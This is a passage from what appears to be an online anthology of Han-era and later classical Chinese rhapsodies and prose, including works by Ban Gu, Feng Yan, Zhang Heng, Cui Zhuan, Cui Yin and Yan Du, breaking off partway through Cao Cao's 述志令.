谷錯以盤紆。飄寂寥以荒昒兮,沙埃起而杳冥。迴風 育其飄忽兮,迴颭颭之泠泠。薄涸凍之凝滯兮,茀谿 谷之清涼。漂積雪之皚皚兮,涉凝露之隆霜。揚雹霰 之復陸兮,慨原泉之凌陰。激流澌之漻淚兮,窺九淵 之潛淋。颯悽愴以慘怛兮,慼風漻以冽寒。獸望浪以 穴竄兮,鳥脅翼之浚浚。山蕭瑟以鶤鳴兮,樹木壞而 哇。地坼裂而憤急兮,巨石破之喦喦。天烈烈以厲 高兮,廖窗以梟牢。鴈邕邕以遲遲兮,埜鸛鳴而嘈 嘈。望亭隧之皦皦兮,飛旗幟之翩翩。回百里之無家 兮,路修遠之綿綿。於是勒障塞而固守兮,奮武靈之 精誠。攄趙奢之策兮,威謀完乎金城。外折衝以無 虞兮,內撫民以永寧。既邕容以自得兮,唯惕懼於竺寒。攸潛溫之元室兮,滌濁穢於太清。反情素於寂寞 兮,居華體之冥冥。玩書琴以條暢兮,考性命之變態。 運四時而覽陰陽兮,總萬物之珍怪。雖窮天地之極 變兮,曾何足乎留意。長恬澹以歡娛兮,固聖賢之所 喜。亂曰:處幽潛德,含聖神兮,抱奇。內光自得真兮,寵 幸。浮寄奇無常兮,寄之,去留亦何傷兮,大人之度品 物齊兮,舍位之過忽若遺兮,求位得位,固其常兮,守 信保己,比老彭兮。\n《幽通賦》後漢·班固编辑\n系高頊之元胄兮,氏中葉之炳靈。颻凱風而蟬蛻兮, 雄朔野以颺聲。皇十紀而鴻漸兮,有羽儀於上京。巨 滔天而泯夏兮,考遘愍以行謠。終保己而貽則兮,里 上仁之所廬。懿前烈之純淑兮,窮與達其必濟。咨孤 蒙之眇眇兮,將圮絕而罔階。豈余身之足殉兮,違世 叢之可懷。靖潛處以永思兮,經日月而彌遠。匪黨人 之敢拾兮,庶斯言之不玷。魂與神交兮,精誠發 於宵寐。夢登山而迥眺兮,覿幽人之髣。攬葛藟而 授余兮,眷峻谷曰勿墜。昒昕寤而仰思兮,心矇矇猶 未察。黃神邈而靡質兮,儀遺讖以臆對。曰乘高而 神兮,道遐通而不迷。葛綿綿於樛木兮,詠南風以為 綏。蓋惴惴之臨深兮,乃二雅之所祗。既訊爾以吉象 兮,又申之以炯戒。盍孟晉以迨群兮,辰儵忽其不再。 承靈訓其虛徐兮,佇盤桓而且俟。惟天地之無窮兮, 鮮生民之晦在。紛屯邅與蹇連兮,何艱多而智寡。上 聖迕而後拔兮,豈群黎之所禦。昔衛叔之御昆兮,昆 為寇而喪予。管彎弧欲斃讎兮,讎作后而成已。變化 故而相詭兮,孰云預其終始。雍造怨而先賞兮,丁繇 惠而被戮。栗取弔於逌吉兮,王膺慶於所蹙。叛迴穴 其若茲兮,北叟頗識其倚伏。單治裏而外凋兮,張修 襮而內逼。聿中和為庶幾兮,顏與冉又不得。溺招路 以從己兮,謂孔氏猶未可。安慆慆而不萉兮,卒隕身 乎世禍。遊聖門而靡救兮,雖覆醢其何補。固行行其 必凶兮,免盜亂為賴道。形氣發於根柢兮,柯葉彙而 零茂。恐魍魎之責影兮,羌未得其云巳。黎淳耀於高 辛兮,羋彊大於南汜。瀛取威於百儀兮,姜本支乎三 趾。既仁得其信然兮,仰天路而同軌。東鄰虐而殲仁 兮,王合位乎三五。戎女烈而喪孝兮,伯徂歸於龍虎。 發還師以成命兮,重醉行而自耦。震鱗漦於夏庭兮, 匝三正而滅姬。巽羽化乎宣宮兮,彌五辟而成災。道 修長而世短兮,敻冥默而不周。胥仍物而鬼諏兮,乃 窮宙而達幽。媯巢姜於孺筮兮,旦筭祀於契龜。宣曹 興敗於下夢兮,魯衛名諡於銘謠。妣聆呱而劾石兮, 許相理而鞠條。道混成而自然兮,術同原而分流。神 先心以定命兮,命隨行以消息。斡流遷其不濟兮,故 遭罹而贏縮。三欒同於一體兮,雖移易而不忒。洞參 差其紛錯兮,斯眾兆之所惑。周賈盪而貢憤兮,齊死 生與禍福。抗爽言以矯情兮,信畏犧而忌鵬。所貴聖 人之至論兮,順天性而斷誼。物有欲而不居兮,亦有 惡而不避。守孔約而不貳兮,乃輶德而無累。三仁殊 於一致兮,夷惠舛而齊聲。木偃息以蕃魏兮,申重繭 以存荊。紀焚躬以衛上兮,皓頤志而弗傾。侯草木之 區別兮,苟能實而必榮。要沒世而不朽兮,乃先民之 所程。觀天網之紘覆兮,實棐諶而相訓。謨先聖之大 猷兮,亦鄰德而助信。虞韶美而儀鳳兮,孔忘味於千 載。素文信而底麟兮,漢賓祚於異代。精通靈而感物 兮,神動氣而入微。養流睇而猿號兮,李虎發而石開。 非精誠其焉通兮,苟無實其孰信。操末技猶必然兮, 矧耽躬於道真。登孔昊而上下兮,緯群龍之所經。朝 貞觀而夕化兮,猶誼己而遺形。若引彭而偕老兮,訴 來哲而通情。亂曰:天造草昧,立性命兮。復心弘道,惟 賢聖兮。渾元運物,流不處兮。保身遺名,民之表兮。舍 生取誼,亦道用兮。憂傷夭物,忝莫痛兮。皓爾太素,曷 渝色兮。尚越其幾,淪神域兮。\n《顯志賦》〈有序〉馮衍编辑\n馮子以為大人之德,不碌碌如玉,硌硌如石。風興雲蒸,一龍一蛇,與道翱翔,與時變化,夫豈守一節哉。用之則行,舍之則藏。進退無主,屈伸無常。故曰:有法無法,因時為業。有度無度,與物趨舍。常務道德之實,而不求當世之名。闊略杪少之禮,蕩佚人間之事。正身直行,恬然肆志。顧嘗好俶儻之策。時莫能聽用其謀,喟然長歎,自傷不遭,久棲遲於小官,不得舒其所懷,抑心折節,意悽情悲。夫伐冰之家,不利雞豚之息。委積之臣,不操市井之利。況歷位食祿二十餘年,而財產益狹,居處益貧,惟夫君子之仕,行其道也。慮時務者,不能興其德。為身求者,不能成其功。去而歸家,復羈旅於州郡。身愈據職,家彌窮困,卒離饑寒之災,有喪元子之禍。先將軍葬渭陵,哀帝之崩也,營之以為園,於是以新豐之東,鴻門之上,壽安之中,地埶高敞,四通廣大,南望酈山,北屬涇渭。東瞰河華、龍門之陽,三晉之路,西顧酆鎬、周秦之丘,宮觀之墟,通視千里,覽見舊\n都。遂定塋焉,退而幽居。蓋忠臣過故墟而歔欷,孝子入舊室而哀歎。每念祖考著盛德於前,垂鴻烈於後,遭時之禍,墳墓蕪穢,春秋蒸嘗,昭穆無列,年衰歲暮,悼無成功。將西田牧肥饒之野,殖生產修孝道,營宗廟,廣祭祀,然後闔門講習。道德觀覽乎孔老之論,庶幾乎松喬之福,上隴阪陟,高岡游精,宇宙流目,八紘歷觀,九州山川之體,追覽上古,得失之風,愍道陵遲傷德,分崩夫睹,其終必原其始。故存其人而詠其道,疆理九野,經營五山,眇然有思凌雲之意。乃作賦自厲,命其篇曰:顯志。顯志者,言光明風化之情,昭章元妙之思也。其辭曰。\n開歲發春兮,百卉含英。甲子之朝兮,汨吾西征。發軔 新豐兮,徘徊鎬京。陵飛廉而太息兮,登平陽而懷傷。 悲時俗之險兮,哀好惡之無常。棄衡石而意量兮, 隨風波而飛揚。紛綸流於權利兮,親雷同而妒異;獨 耿介而慕古兮,豈時人之所。沮先聖之成論兮,邈 名賢之高風;忽道德之珍麗兮,務富貴之樂耽。遵大 路而徘徊兮,履孔德之窈冥;固眾夫之所眩兮,孰能 觀於無形。行勁直以離尤兮,羌前人之所有;內自省 而不慚兮,遂定志而弗改。欣吾黨之唐虞兮,愍吾生 之愁勤;聊發憤而揚情兮,將以蕩夫憂心。往者不可 攀援兮,來者不可與期;病沒世之不稱兮,願橫逝而 無由。陟雍畤而消搖兮,超略陽而不反。念人生之不 再兮,悲六親之日遠。陟九而臨嶭兮,聽涇渭之 波聲。顧鴻門而歔欷兮,哀吾孤之早零。何天命之不 純兮,信吾罪之所生;傷誠善之無辜兮,齎此恨而入 冥。嗟我思之不遠兮,豈敗事之可悔。雖九死而不瞑 兮,恐余殃之有再。淚汍瀾而雨集兮,氣滂浡而雲披; 心拂鬱而紆結兮,意沉抑而內悲。瞰太行之嵯峨兮, 觀壺口之崢嶸;悼丘墓之蕪穢兮,恨昭穆之不榮。歲 忽忽而日邁兮,壽冉冉其不與;恥功業之無成兮,赴 原野而窮處。昔伊尹之干湯兮,七十說而乃信;皋陶 釣於雷澤兮,賴虞舜而後親。無二士之遭遇兮,抱忠 貞而莫達;率妻子而耕耘兮,委厥美而不伐。韓盧抑 而不縱兮,騏驥絆而不試;獨慷慨而遠覽兮,非庸庸 之所識。卑衛賜之阜貨兮,高顏回之所慕;重祖考之 洪烈兮,故收功於此路。循四時之代謝兮,分五土之 刑德;相林麓之所產兮,嘗水泉之所殖。修神農之本 業兮,採軒轅之奇策;追周棄之遺教兮,軼范蠡之絕 跡。陟隴山以踰望兮,眇然覽於八荒;風波飄其並興 兮,情惆悵而增傷。覽河華之泱漭兮,望秦晉之故國。 憤馮亭之不遂兮,慍去疾之遭惑。流山岳而周覽兮, 徇碣石與洞庭;浮江河而入海兮,泝淮濟而上征。瞻 燕齊之舊居兮,歷宋楚之名都;哀群后之不祀兮,痛 列國之為墟。馳中夏而升降兮,路紆軫而多艱;講聖 哲之通論兮,心愊憶而紛紜。惟天路之同軌兮,或帝 王之異政;堯舜煥其蕩蕩兮,禹承平而革命。并日夜 而幽思兮,終悇憛而洞疑;高陽邈其超遠兮,世孰可 與論茲。訊夏啟於甘澤兮,傷帝典之始傾;頌成康之 載德兮,詠南風之歌聲。思唐虞之晏晏兮,揖稷契與 為朋;苗裔紛其條暢兮,至湯武而勃興。昔三后之純 粹兮,每季世而窮禍;弔夏桀於南巢兮,哭殷紂於牧 野。詔伊尹於亳郊兮,享呂望於酆州;功與日月齊光 兮,名與三王爭流。楊朱號乎衢路兮,墨子泣乎白絲; 知漸染之易性兮,怨造作之弗思。美關雎之識微兮, 愍王道之將崩;拔周唐之盛德兮,捃桓文之譎功。忿 戰國之遘禍兮,憎權臣之擅強;黜楚子於南郢兮,執 趙武於溴梁。善忠信之救時兮,惡詐謀之妄作;聘申 叔於陳蔡兮,擒荀息於虞虢。誅犁鉏之介聖兮,討臧 倉之愬知;子反於彭城兮,爵管仲於夷儀。疾兵革 之寖滋兮,苦攻伐之萌生;沉孫武於五湖兮,斬白起 於長平。惡叢巧之亂世兮,毒縱橫之敗俗;流蘇秦於 洹水兮,幽張儀於鬼谷。澄德化之陵遲兮,烈刑罰之 峭峻;燔商鞅之法術兮,燒韓非之說論。誚始皇之跋 扈兮,投李斯於四裔;滅先王之法則兮,禍寖淫而弘 大。援前聖以制中兮,矯二主之驕奢;饁齊女於絳臺 兮,饗椒舉於章華。摛道德之光耀兮,匡衰世之眇風; 褒宋襄於泓谷兮,表季札於延陵。摭仁智之英華兮, 激亂國之末流;觀鄭僑於溱洧兮,訪晏嬰於營丘。日 曀曀其將暮兮,獨於邑而煩惑;夫何九州之博大兮, 迷不知路之南北。駟素虯而馳騁兮,乘翠雲而相佯; 就伯夷而折中兮,得務光而愈明。款子高於中野兮, 遇伯成而定慮;欽真人之美德兮,淹躊躇而弗去。意 斟愖而不澹兮,俟回風而容與;求善卷之所存兮,遇 許由於負黍。軔吾車於箕陽兮,秣吾馬於潁滸;聞至 言而曉領兮,還吾反乎故宇。覽天地之幽奧兮,統萬 物之維綱;究陰陽之變化兮,昭五德之精光。躍青龍 於滄海兮,豢白虎於金山;鑿巖石而為室兮,託高陽 以養仙,神雀翔於鴻崖兮,元武潛於嬰冥;伏朱樓而 四望兮,採三秀之華英。纂前修之姱節兮,曜往昔之 光勳;披綺季之麗服兮,揚屈原之靈芬。高吾冠之岌岌兮,長吾佩之洋洋;飲六醴之清液兮,食五芝之茂 英。揵六枳而為籬兮,築蕙若而為室;播蘭芷於中庭 兮,列杜蘅於外術。攢射干而雜蘼蕪兮,搆木蘭與辛 夷;光扈扈而煬燿兮,紛郁郁而暢美;華芳其發越 兮,時恍惚而莫貴;非惜身之轗軻兮,憐眾美之憔悴。 遊精神於大宅兮,抗元妙之常操;處清淨以養志兮, 實吾心之所樂。山峨峨而造天兮,林冥冥而暢茂;鸞 回翔索其群兮,鹿哀鳴而求其友。誦古今以散思兮, 覽聖賢以自鎮;嘉孔丘之知命兮,大老聃之貴元;德 與道其孰寶兮。名與身其孰親。陂山谷而間處兮,守 寂寞而存神。夫莊周之釣魚兮,辭卿相之顯位;於陵 子之灌園兮,似至人之髣。蓋隱約而得道兮,羌窮 悟而入術;離塵垢之窈冥兮,配喬、松之妙節。惟吾志 之所庶兮,固與俗其不同;既俶儻而高引兮,願觀其 從容。\n《思元賦》張衡编辑\n仰先哲之元訓兮,雖靡高而弗違。匪仁里其焉宅兮, 匪義跡其焉追。潛服膺以永靖兮,綿日月而不衰。伊 中情之信修兮,慕古人之貞節。竦余身而順止兮,遵 繩墨而不跌。志摶摶以應懸兮,誠心固其如結。旌性 行以制佩兮,佩夜光與瓊枝。纗幽蘭之秋華兮,又綴 之以江蘺。美襞積以酷烈兮,允塵邈而難虧。既姱麗 而鮮雙兮,非是時之攸珍。奮余榮而莫見兮,播余香 而莫聞。幽獨守此仄陋兮,敢怠遑而舍勤。幸二八之 虞兮,嘉傅說之生殷;尚前良之遺風兮,恫後辰而 無及。何孤行之兮,孑不群而介立。感鸞鷖之特 棲兮,悲淑人之稀合。彼無合其何傷兮,患眾偽之冒 真。旦獲讟於群弟兮,啟金縢而乃信。覽蒸民之多僻 兮,畏立辟以危身。曾煩毒以迷惑兮,羌孰可與言己。 私湛憂而深懷兮,思繽紛而不理。願竭力以守義兮, 雖貧窮而不改。執雕虎而試象兮,阽焦原而跟止。庶 斯奉信以周旋兮,要既死而後已。俗遷渝而事化兮, 泯規矩之圓方。珍蕭艾於重笥兮,謂蕙芷之不香。斥 西施而弗御兮,縶騕褭以服箱。行頗僻而獲志兮,循 法度而離殃。惟天地之無窮兮,何遭遇之無常。不抑 操而苟容兮,譬臨河而無航。欲巧笑以干媚兮,非余 心之所嘗。襲溫恭之黻衣兮,被禮義之繡裳。辮貞亮 以為鞶兮,雜技藝以為珩。昭綵藻以雕琢兮,璜聲遠 而彌長。淹棲遲以恣欲兮,曜靈忽其西藏。恃己知而 華予兮,鶗鳴而不芳。冀一年之三秀兮,遒白露之 為霜。時亹亹而代序兮,疇可與乎比伉。咨妒嫮之難 並兮,想依韓以流亡,恐漸冉而無成兮,留則蔽而不 彰。心猶豫而狐疑兮,即岐趾而臚情。文君為我端蓍 兮,利肥遁以保名。歷眾山以周流兮,翼迅風以揚聲。 二女感於崇岳兮,或冰折而不營。天蓋高而為澤兮, 誰云路之不平。自強而不息兮,蹈玉階之嶢崢。懼 筮氏之長短兮,鑽東龜以觀禎。遇九皋之介鳥兮,怨 素意之不呈。遊塵外而瞥天兮,據冥翳而哀鳴。鵰鶚 競於貪婪兮,我修潔以益榮。子有故於元鳥兮,歸母 氏而後寧。占既吉而無悔兮,元辰而俶裝。旦余沐 於清源兮,晞余髮於朝陽。漱飛泉之瀝液兮,咀石菌 之流英。翾鳥舉而魚躍兮,將往走乎八荒。過少皞之 窮野兮,問三丘於句芒。何道真之淳粹兮,去穢累而 彯輕。登蓬萊而容與兮,鼇雖抃而不傾。留瀛州而採 芝兮,聊且以乎長生。憑歸雲而遐逝兮,夕余宿乎扶 桑。飲青岑之玉醴兮,餐沆瀣以為粻。發昔夢於木禾 兮,穀崑崙之高岡。朝吾行於暘谷兮,從伯禹乎稽山。 嘉群神之執玉兮,疾防風之食言。指長沙以邪徑兮, 存重華乎南鄰。哀二妃之未從兮,翩繽處彼湘濱。流 目眺夫衡阿兮,睹有黎之圮墳;痛火正之無懷兮,託 山陂以孤魂。愁鬱鬱以慕遠兮,越卬州而遨遊。躋日 中於昆吾兮,憩炎火之所陶。揚芒熛而絳天兮,水泫 沄而涌濤。溫風翕其增熱兮,惄鬱悒其難聊。顝羈旅 而無友兮,余安能乎留茲。顧金天而歎息兮,吾欲往 乎西嬉。前祝融而使舉麾兮,纚朱鳥以承旗。躔建木 於廣都兮,摭若華而躊躇。超軒轅於西海兮,跨汪氏 之龍魚。聞此國之千歲兮,曾焉足以娛余。思九土之 殊風兮,從蓐收而遂徂。欻神化而蟬蛻兮,朋精粹而 為徒。蹶白門而東馳兮,云台行乎中野。亂弱水之潺 湲兮,逗華陰之湍渚。號馮夷俾清津兮,櫂龍舟以濟 予。會帝軒之未歸兮,悵倘佯而延佇。怬河林之蓁蓁 兮,偉關雎之戒女。黃靈詹而訪命兮,樛天道其焉如。 曰近信而遠疑兮,六籍闕而不書。神逵昧其難覆兮, 疇克謀而從諸。牛哀病而成虎兮,雖逢昆其必噬。鱉 令殪而尸亡兮,取蜀禪而引世。死生錯其不齊兮,雖 司命其不。竇號行於代路兮,後膺祚而繁廡。王肆 侈於漢庭兮,卒銜恤而絕緒。尉龐眉而郎潛兮,逮三 葉而遘武。董弱冠而司袞兮,設王隧而弗處。夫吉凶 之相仍兮,恆反側而靡所。穆屆天以悅牛兮,豎亂叔 而幽主。文斷袪而忌伯兮,閹謁賊而寧后。通人闇於 好惡兮,豈昏惑之能剖。嬴擿讖而戒胡兮,備諸外而發內。或輦賄而違車兮,孕行產而為對。慎顯於言 天兮,占水火而妄訊。梁叟患支黎丘兮,丁厥子而剚 刃,親所睼而弗識兮,矧幽冥之可信。無綿攣以涬己 兮,思百憂以自疹。彼天監之孔明兮,用棐忱而祐仁。 湯蠲體以禱祈兮,蒙厖褫以拯民。景三慮以營國兮, 熒惑次於他辰。魏顆亮以從治兮,鬼亢回以斃秦。咎 繇邁而種德兮,樹德懋於英、六。桑末寄夫根生兮,卉 既彫而已育。有無言而不酬兮,又何往而不復。盍遠 跡以飛聲兮,孰謂時之可蓄。仰矯首以遙望兮,魂 惘而無儔。逼區中之隘陋兮,將北度而宣游。行積冰 之皚皚兮,清泉冱而不流。寒風凄而永至兮,拂穹岫 之騷騷。元武縮於殼中兮,螣蛇蜿而自糾。魚矜鱗而 并淩兮,鳥登木而失條。坐太陰之屏室兮,慨含欷而 增愁。怨高陽之相寓兮,顓頊而宅幽。庸織路於四 裔兮,斯與彼其何瘳。望寒門之絕垠兮,縱余紲乎不 周。迅猋潚其媵我兮,騖翩飄而不禁。越谽之洞穴 兮,漂通川之碄碄。經重陰乎寂寞兮,愍墳羊之潛深。 追荒忽於地底兮,軼無形而上浮。出石密之闇野兮, 不識蹊之所由。速燭龍令執炬兮,過鍾山而中休。瞰 瑤谿之赤岸兮,弔祖江之見劉。聘王母於銀臺兮,羞 玉芝以療飢;戴勝憖其既歡兮,又誚余之行遲。載太 華之玉女兮,召洛浦之虙妃。咸姣麗以蠱媚兮,增嫮 眼而蛾眉。舒訬婧之纖腰兮,揚雜錯之褂徽。離朱脣 而微笑兮,顏的礫以遺光。獻環琨與琛縭兮,申厥好 之元黃。雖色艷而賂美兮,志浩蕩而不嘉。雙材悲於 不納兮,並詠詩而清歌。歌曰:天地絪縕,百卉含葩。鳴 鶴交頸,雎鳩相和。處子懷春,精魂回移。如何淑明,忘 我實多。將答賦而不暇兮,爰整駕而亟行。瞻崑崙之 巍巍兮,臨縈河之洋洋。伏靈龜以負坻兮,亙螭龍之 飛梁。登閬風之層城兮,構不死而為床。屑瑤蕊以為 餱兮,白水以為漿。抨巫咸使占夢兮,乃貞吉之元 符。滋令德於正中兮,含嘉秀以為敷。既垂穎而顧本 兮,亦要思乎故居。安和靜而隨時兮,姑純懿之所廬。 戒庶寮以夙會兮,僉供職而並迓。豐隆軯其震霆兮, 列缺其照夜。雲師以交集兮,凍雨沛其灑塗。轙 琱輿而樹葩兮,擾應龍以服輅。百神森其備從兮,屯 騎羅而星布。振余袂而就車兮,修揭以低昂。冠嵒 嵒其映蓋兮,佩綝纚以輝煌。僕夫儼其正策兮,八乘 騰而超驤。氛旄溶以天旋兮,蜺旌飄以飛颺。撫軨軹 而還睨兮,心勺其若湯。羨上都之赫戲兮,何迷故 而不忘。左青琱之犍芝兮,右素威以司鉦。前長離使 拂羽兮,後委水衡乎元冥。屬箕伯以函風兮,澄淟涊 而為清。曳雲旗之離離兮,鳴玉鸞之譻譻。涉清霄而 升遐兮,浮蠛蠓而上征。紛翼翼以徐戾兮,焱回回其 揚靈。叫帝閽使闢扉兮,覿天皇於瓊宮。聆廣樂之九 奏兮,展洩洩以肜肜。考治亂於律均兮,意建始而思 終。惟般逸之無斁兮,懼樂往而哀來。素女撫絃而餘 音兮,太容吟曰念哉。既防溢而靖志兮,迨我暇以翱 翔。出紫宮之肅肅兮,集太微之閬閬。命王良掌策駟 兮,踰高閣之將將。建罔車之幕幕兮,獵青林之芒芒。 彎威弧之拔刺兮,射嶓冢之封狼。觀壁壘於北落兮, 伐河鼓之磅硠。乘天潢之汎汎兮,浮雲漢之湯湯。倚 招搖攝、提以低回流兮,察二紀、五緯之綢繆遹皇。 偃蹇夭矯娩以連卷兮,雜沓叢颯以方驤。戫汨飂 戾沛以罔象兮,爛漫麗靡藐以迭逿。凌驚雷之磕 兮,弄狂電之淫裔。踰濛鴻於宕冥兮,貫倒景而高厲。 廓盪盪其無涯兮,乃今窺乎天外。據開陽而頫視兮, 臨舊鄉之暗譪。悲離居之勞心兮,情悁悁而思歸。魂 眷眷而屢顧兮,馬倚輈而徘徊。雖遨遊以媮樂兮,豈 愁慕之可懷。出閶闔兮降天途,乘焱忽兮馳虛無。雲 霏霏兮繞余輪,風眇眇兮震余旟。繽聯翩兮紛暗曖, 儵眩眃兮反常閭。收疇昔之逸豫兮,卷淫放之遐心。 修初服之娑娑兮,長余佩之參參。文章煥以粲爛兮, 美紛紜以從風。御六藝之珍駕兮,遊道德之平林。結 典籍而為罟兮,敺儒、墨而為禽。玩陰陽之變化兮,詠 雅、頌之徽音。嘉曾氏之歸耕兮,慕歷阪之欽崟。恭夙 夜而不貳兮,固終始之所服;夕惕若厲以省愆兮,懼 余身之未敕。苟中情之端直兮,莫吾知而不恧。默無 為以凝志兮,與仁義乎逍遙。不出戶而知天下兮,何 必歷遠以劬勞。系曰:天長地遠歲不留,俟河之清祇 懷憂。願得遠渡以自娛,上下無常窮六區。超踰騰躍 絕世俗,飄颻神舉逞所欲。天不可階仙夫稀,柏舟悄 悄吝不飛。松、喬高跱孰能離。結精遠遊使心攜。迴志 朅來從元謀,獲我所求夫何思。\n《慰志賦》崔篆编辑\n嘉昔人之遘辰兮,美伊、傅之遻時。應規矩之淑質兮, 過班、倕而裁之。協準矱之貞度兮,同斷金之元策。何 天道於盛世兮,超千載而垂績。豈修德之極致兮,將 天祚之攸適。愍余生之不造兮,丁漢氏之中微。氛霓 鬱以橫厲兮,羲和忽以潛暉。六柄制於家門兮,王綱 摧以陵遲。黎、共奮以跋扈兮,羿、浞狂以恣睢。睹慢藏而乘釁兮,竊神器之萬機。思輔弼以媮存兮,亦號咷 以詶咨。嗟三事之我負兮,乃迫余以天威。豈無熊僚 之微介兮。悼我生之殲夷。庶明哲之末風兮,懼大雅 之所譏。遂翕翼以委命兮,受符守乎艮維。恨遭閉而 不隱兮,違石門之高蹤。揚蛾眉於復關兮,犯孔戒之 冶容。懿氓蚩之悟悔兮,慕白駒之所從。乃稱疾而屢 復兮,歷三祀而見許。悠輕舉以遠遁兮,託峻峗以幽 處。靜潛思於至賾兮,騁六經之奧府。皇載命而紹卹 兮,乃眷顧乎建武。運欃槍以電掃兮,清六合之土宇。 聖德滂以橫被兮,黎庶愷以鼓舞。闢四門以博延兮, 彼幽牧之我舉。分畫定而計決兮,豈云賁乎彼鄙苟。 遂懸車以縶馬兮,絕時俗之進取。歎暮春之成服兮, 闔衡門以掃軌。聊優游以永日兮,守性命以盡齒。貴 啟體之歸全兮,庶不忝乎先子。\n《達旨》崔駰编辑\n或說己曰:易稱備物致用,可觀而有所合,故能扶陽 以出,順陰而入。春發其華,秋收其實,有始有極,爰登 其質。今子韞櫝六經,服膺道術,歷世而游,高談有日, 俯鉤深於重淵,仰探遠乎九乾,窮至賾於幽微,測潛 隱之無源。然下不步卿相之庭,上不登王公之門,進 不黨以讚己,退不黷於庸人。獨師友道德,合符曩真, 抱景特立,與士不群。蓋高樹靡陰,獨木不林,隨時之 宜,道貴從凡。於時太上運天德以君世,憲王僚而布 官;臨雍泮以恢儒,疏軒冕以崇賢;率惇德以厲忠孝, 揚茂化以砥仁義;選利器於良材,求鏌於明智。不 以此時攀台階,闚紫闥,據高軒,望朱闕,夫欲千里而 咫尺未發,蒙竊惑焉。故英人乘斯時也,猶逸禽之赴 深林,蚋之趣大沛。胡為嘿嘿而久沉滯也。答曰:有 是言乎。子苟欲勉我以世路,不知其跌而失吾之度 也。古者陰陽始分,天地初制,皇綱無緒,帝紀乃設,傳 序歷數,三代興滅。昔大庭尚矣,赫胥罔識。淳樸散離, 人物錯乖。高辛攸降,厥趣各違。道無常稽,與時張弛。 失仁為非,得義為是。君子通變,各審所履。故士或掩 目而淵潛,或盥耳而山棲;或草耕而僅飽,或木茹而 長饑;或重聘而不來,或屢黜而不去;或冒詬以干進, 或望色而斯舉;或以役夫發夢於王公,或以漁父見 兆於元龜。若夫紛繷塞路,凶虐播流,人有昏墊之, 主有疇咨之憂,條垂藟蔓,上下相求。於是乎賢人授 手,援世之災,跋涉赴俗,急斯時也。昔堯含慼而皋陶 謨,高祖歎而子房慮;禍不散而曹、絳奮,結不解而陳 平權。及其策合道從,克亂弭衝,乃將鏤元圭,冊顯功, 銘昆吾之冶,勒景、襄之鐘。與其有事,則褰裳濡足,冠 挂不顧。人溺不拯,則非仁也。當其無事,則躐纓整襟, 規矩其步。德讓不修,則非忠也。是以險則救俗,平則 守禮,舉以公心,不私其體。今聖上之育斯人也,樸以 皇質,雕以唐文。六合怡怡,比屋為仁。壹天下之眾異, 齊品類之萬殊。參差同量,坏冶一陶。群生得理,庶績 其凝。家家有以樂和,人人有以自優。威械藏而俎豆 布,六典陳而九刑厝。濟茲兆庶,出於平易之路。雖有 力牧之略,尚父之厲,伊、皋不論,奚事范、蔡。夫廣廈成 而茂木暢,遠求存而良馬縶,陰事終而水宿藏,場功 畢而大火入。方斯之際,處士山積,學者川流,衣裳被 宇,冠蓋雲浮。譬猶衡陽之林,岱陰之麓,伐尋抱不為 之稀,藝拱把不為之數。悠悠罔極,亦各有得。彼採其 華,我收其實。舍之則藏,己所學也。故進動以道,則不 辭執珪而秉柱國;復靜以理,則甘糟糠而安藜藿。夫 君子非不欲仕也。恥夸毗以求舉;非不欲室也,惡登 牆而摟處。叫呼衒鬻,懸旌自表,非隨和之寶也。暴智 燿世,因以干祿,非仲尼之道也。游不倫黨,苟以徇己, 汗血競時,利合而友。子笑我之沉滯,吾亦病子屑屑 而不已也。先人有則而我弗虧,行有枉徑而我非隨。 臧否在予,唯世所議。固將因天質之自然,誦上哲之 高訓;詠太平之清風,行天下之至順。懼吾躬之穢德, 勤百畝之不耘。縶余馬以安行,俟性命之所存。昔孔 子起威於夾谷,晏嬰發勇於崔杼;曹劌舉節於柯盟, 卞嚴克捷於彊禦;范蠡錯埶於會稽;伍樹功於柏 舉;魯連辯言以退燕,包胥單辭而存楚;唐且華顛以 悟秦,甘羅童牙而報趙;原衰見廉於壺飧,宣孟收德 於束脯;吳札結信於丘木,展季效貞於門女;顏回明 仁於度轂,程嬰顯義於趙武。僕誠不能編德於數者, 竊慕古人之所序。\n《與李文德書》延篤编辑\n夫道之將廢,所謂命也。流聞乃欲相為求還東觀,來 命雖篤,所未敢當。吾嘗昧爽櫛梳,坐於客堂。朝則誦 羲、文之易,虞、夏之書,歷公旦之典禮,覽仲尼之春秋。 夕則消搖內階,詠詩南軒。百家眾氏,投間而作。洋洋 乎其盈耳也,渙爛兮其溢目也,紛紛欣欣兮其獨樂 也。當此之時,不知天之為蓋,地之為輿;不知世之有 人,己之有軀也。雖漸離擊筑,傍若無人,高鳳讀書,不 知暴雨,方之於吾,未足況也。且吾自束修以來,為人 臣不陷於不忠,為人子不陷於不孝,上交不諂,下交不黷,從此而歿,下見先君遠祖,可不慚赧。如此而不 以善止者,恐如教羿射者也。慎勿迷其本,棄其生也。\n《述志令》曹操编辑\n孤始舉孝廉,年少,自以本非巖穴知名之士,恐為海 內人之所見凡愚,欲為一郡守,好作政教,以建立名 譽,使世士明知之,故在濟南,始除殘去穢,平心選舉, 違迕諸常侍。以為強豪所忿,恐致家禍,故以病還。去 官之後,年紀尚少,顧視同歲中,年有五十,未名為老, 自內圖之,從此卻去二十年,待天下清,乃與同歲中 始舉者等耳。故以四時歸鄉里,於譙東五十里築精 舍,欲秋夏讀書,冬春射獵,求底下之地,欲以泥水自 蔽,絕賓客往來之望,然不能得如意。後徵為都尉,遷 典軍校尉,意遂更欲為國家討賊立功,欲望封侯作 征西將軍,然後題墓道言漢故征西將軍曹侯之墓, 此其志也。而遭值董卓之難,興舉義兵。是時合兵能 多得耳,然常自損,不欲多之;所以然者,兵多意盛,與 強敵爭,倘更為禍始。故汴水之戰數千,後還到揚州 更募,亦復不過三千人,此其本志有限也。後領兗州, 破降黃巾三十萬眾。又袁術僭號於九江,下皆稱臣, 名門曰建號門,衣被皆為天子之制,兩婦預爭為皇 后。志計已定,人有勸術使遂即帝位,露布天下,答言 曹公尚在,未可也。後孤討擒其四將,獲其人眾,遂使 術窮亡解沮,發病而死。及至袁紹據河北,兵勢強盛, 孤自度勢,實不敵之,但計投死為國,以義滅身,足垂 於後。幸而破紹,梟其二子。又劉表自以為宗室,包藏 奸心,乍前乍卻,以觀世事,據有荊州,孤復定之,遂平 天下。身為宰相,人臣之貴已極,意望已過矣。今孤言 此,若為自大,欲人言盡,故無諱耳。設使國家無有孤, 不知當幾人稱帝,幾人稱王。或者人見孤強盛,又性 不信天命之事,恐私心相評,言有不遜之志,妄相忖 度,每用耿耿。齊桓、晉文所以垂稱至今日者,以其兵 勢廣大,猶能奉事周室也。《論語》云三分天下有其二, 